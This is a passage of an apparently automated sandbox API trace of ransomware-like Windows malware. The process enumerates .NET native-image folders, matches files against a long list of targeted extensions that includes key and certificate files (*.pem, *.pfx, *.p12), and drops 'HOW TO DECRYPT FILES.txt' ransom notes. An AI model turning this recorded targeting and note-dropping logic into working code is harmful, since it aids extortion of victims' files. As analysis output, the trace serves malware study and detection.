(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.sql") returned 0 [0122.918] lstrlenA (lpString="*.sql") returned 5 [0122.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.mdb") returned 0 [0122.918] lstrlenA (lpString="*.mdb") returned 5 [0122.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.fdb") returned 0 [0122.918] lstrlenA (lpString="*.fdb") returned 5 [0122.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.wab") returned 0 [0122.918] lstrlenA (lpString="*.wab") returned 5 [0122.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.dat") returned 0 [0122.918] lstrlenA (lpString="*.dat") returned 5 [0122.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.txt") returned 0 [0122.918] lstrlenA (lpString="*.txt") returned 5 [0122.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.jpeg") returned 0 [0122.918] lstrlenA (lpString="*.jpeg") returned 6 [0122.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.jpg") returned 0 [0122.919] lstrlenA (lpString="*.jpg") returned 5 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.png") returned 0 [0122.919] lstrlenA (lpString="*.png") returned 5 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.php") returned 0 [0122.919] lstrlenA (lpString="*.php") returned 5 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.cs") returned 0 [0122.919] lstrlenA (lpString="*.cs") returned 4 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.cpp") returned 0 [0122.919] lstrlenA (lpString="*.cpp") returned 5 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.rar") returned 0 [0122.919] lstrlenA (lpString="*.rar") returned 5 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.zip") returned 0 [0122.919] lstrlenA (lpString="*.zip") returned 5 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.html") returned 0 [0122.919] lstrlenA (lpString="*.html") returned 6 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.htm") returned 0 [0122.919] lstrlenA (lpString="*.htm") returned 5 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.xlsx") returned 0 [0122.919] lstrlenA (lpString="*.xlsx") returned 6 [0122.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.xls") returned 0 [0122.920] lstrlenA (lpString="*.xls") returned 5 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.mp4") returned 0 [0122.920] lstrlenA (lpString="*.mp4") returned 5 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.ppt") returned 0 [0122.920] lstrlenA (lpString="*.ppt") returned 5 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.pptx") returned 0 [0122.920] lstrlenA (lpString="*.pptx") returned 6 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.doc") returned 0 [0122.920] lstrlenA (lpString="*.doc") returned 5 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.dot") returned 0 [0122.920] lstrlenA (lpString="*.dot") returned 5 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.docx") returned 0 [0122.920] lstrlenA (lpString="*.docx") returned 6 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.7z") returned 0 [0122.920] lstrlenA (lpString="*.7z") returned 4 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.tar") returned 0 [0122.920] lstrlenA (lpString="*.tar") returned 5 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.bz2") returned 0 [0122.920] lstrlenA (lpString="*.bz2") returned 5 [0122.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.gz") returned 0 [0122.921] lstrlenA (lpString="*.gz") returned 4 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.mkv") returned 0 [0122.921] lstrlenA (lpString="*.mkv") returned 5 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.eml") returned 0 [0122.921] lstrlenA (lpString="*.eml") returned 5 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.msg") returned 0 [0122.921] lstrlenA (lpString="*.msg") returned 5 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.edb") returned 0 [0122.921] lstrlenA (lpString="*.edb") returned 5 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.accdb") returned 0 [0122.921] lstrlenA (lpString="*.accdb") returned 7 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.odb") returned 0 [0122.921] lstrlenA (lpString="*.odb") returned 5 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.java") returned 0 [0122.921] lstrlenA (lpString="*.java") returned 6 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.asm") returned 0 [0122.921] lstrlenA (lpString="*.asm") returned 5 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.pfx") returned 0 [0122.921] lstrlenA (lpString="*.pfx") returned 5 [0122.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.pem") returned 0 [0122.922] lstrlenA (lpString="*.pem") returned 5 [0122.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.p12") returned 0 [0122.922] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.ApplicationServices.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0122.922] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.922] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.ApplicationServices.ni.dll.aux") returned -1 [0122.922] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.ApplicationServices.ni.dll.aux") returned -1 [0122.922] lstrcmpiA (lpString1="", lpString2="System.Web.ApplicationServices.ni.dll.aux") returned -1 [0122.922] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll") returned="System.Web.ApplicationServices.ni.dll" [0122.922] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\" [0122.923] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\") returned="" [0122.923] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\HOW TO DECRYPT FILES.txt" [0122.923] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\how to decrypt files.txt")) returned 0x20 [0122.923] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\", lpString2="System.Web.ApplicationServices.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll.aux" [0122.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll.aux", pszSpec="*.ems") returned 0 [0122.923] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.ApplicationServices.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0122.923] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0122.924] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bcd90e8377eb8e4cb67d9f5d85bf5f9e", cAlternateFileName="BCD90E~1")) returned 0 [0122.924] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0122.924] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.9c7998a9#", cAlternateFileName="SYSTEM~1.9C7")) returned 1 [0122.924] lstrcmpA (lpString1=".", lpString2="System.Web.9c7998a9#") returned -1 [0122.924] lstrcmpA (lpString1="..", lpString2="System.Web.9c7998a9#") returned -1 [0122.924] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0122.924] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.9c7998a9#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#" [0122.924] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0122.927] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.927] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.927] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.927] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.927] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="857a4205a3e6f5c33e522631a4e7763d", cAlternateFileName="857A42~1")) returned 1 [0122.927] lstrcmpA (lpString1=".", lpString2="857a4205a3e6f5c33e522631a4e7763d") returned -1 [0122.927] lstrcmpA (lpString1="..", lpString2="857a4205a3e6f5c33e522631a4e7763d") returned -1 [0122.927] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\*.*") returned="*.*" [0122.927] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\", lpString2="857a4205a3e6f5c33e522631a4e7763d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d" [0122.927] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0122.992] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.992] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.993] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.993] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.993] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0122.993] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.993] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.Design.ni.dll") returned -1 [0122.993] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.Design.ni.dll") returned -1 [0122.993] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.Design.ni.dll") returned -1 [0122.993] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\*.*") returned="*.*" [0122.993] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\" [0122.993] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\") returned="" [0122.993] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\HOW TO DECRYPT FILES.txt" [0122.993] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\how to decrypt files.txt")) returned 0xffffffff [0122.993] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0122.996] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0122.996] CloseHandle (hObject=0x90) returned 1 [0122.996] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\", lpString2="System.Web.DynamicData.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll" [0122.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.ems") returned 0 [0122.996] lstrlenA (lpString="*.ems") returned 5 [0122.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.db") returned 0 [0122.996] lstrlenA (lpString="*.db") returned 4 [0122.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.dbf") returned 0 [0122.997] lstrlenA (lpString="*.dbf") returned 5 [0122.997] PathMatchSpecA 